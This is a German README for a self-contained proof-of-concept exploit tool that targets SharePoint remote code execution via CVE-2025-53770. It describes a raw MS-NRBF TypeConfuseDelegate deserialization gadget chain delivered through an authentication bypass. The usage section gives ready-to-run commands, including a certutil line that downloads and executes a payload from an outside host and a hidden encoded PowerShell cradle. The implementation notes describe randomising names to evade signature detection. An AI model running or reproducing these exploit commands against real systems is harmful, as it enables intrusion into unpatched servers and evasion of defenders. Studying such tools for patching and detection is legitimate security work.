OurSharepoint — CVE-2025-53770 PoC

Eigenständiges, einzelnes SharePoint-RCE-Tool. Erzeugt eine TypeConfuseDelegate-Gadget-Kette als rohe MS-NRBF-Byte (ohne ysoserial.exe), verpackt sie in einen DataSet-Deserialisierungs-Payload und liefert diesen über HTTP unter Verwendung der Authentifizierungsbypass — alles in einem Schritt.

Exploit-Kette

Der gesamte binäre Stream (sowohl der äußere DataSet-Wrapper als auch die innere TypeConfuseDelegate-Gadget) wird als rohe MS-NRBF-Datensätze konstruiert – es wird keine .NET-Laufzeitserialisierung verwendet. Dies entspricht dem Format, das vom Metasploit-Modul Byte für Byte erzeugt wird.

Build

Erfordert .NET Framework 4.8 SDK (Visual Studio 2022 oder eigenständige Build-Tools):

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

Ausgabe: OurSharePoint\bin\Release\OurSharePoint.exe (Einzeldatei, keine Abhängigkeiten)

Verwendung

Ein-Schritt: Bereitstellen und ausführen

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

Einfache Befehlsausführung

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

PowerShell-Cradle

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

Nur Aufklärung (kein Payload)

OurSharePoint.exe --target=https://sp.corp.com --check

Payload-Dateien offline erstellen

OurSharePoint.exe --cmd="calc.exe" --out=exploit

Mit Proxy (Burp)

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

Legacy: Externer ysoserial.exe-Payload

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

Optionen

Ausgabedateien

Wenn --out verwendet wird, schreibt das Tool:

Betroffene Versionen

Implementierungshinweise

• Keine Laufzeitserialisierung – Sowohl der DataSet-Wrapper als auch die TypeConfuseDelegate-Gadget werden als rohe MS-NRBF-Binärdatensätze mit BinaryWriter geschrieben. Dies vermeidet Unterschiede zwischen der Ausgabe der .NET-Laufzeitserialisierung und dem, was der Ziel-Deserialisierer erwartet.
• LosFormatter-Rahmung – Die innere Gadget wird mit ObjectStateFormatter-Header-Bytes (0xFF 0x01 0x32 + 7-Bit-Länge) umschlossen, anstatt LosFormatter.Serialize() zu verwenden.
• Einzelne Binärdatei – Keine externen Tools, DLLs oder Python-Skripte erforderlich. Die .exe ist vollständig eigenständig.
• Randomisierung – XML-Tag-Präfixe und DataSet-Elementnamen werden pro Ausführung randomisiert, um Signaturerkennung zu vermeiden.

Referenzen

• Eye Security — SharePoint Under Siege
• Metasploit PR #20409 — sharepoint_toolpane_rce
• MS-NRBF Spezifikation
• pwntester/ysoserial.net — TypeConfuseDelegate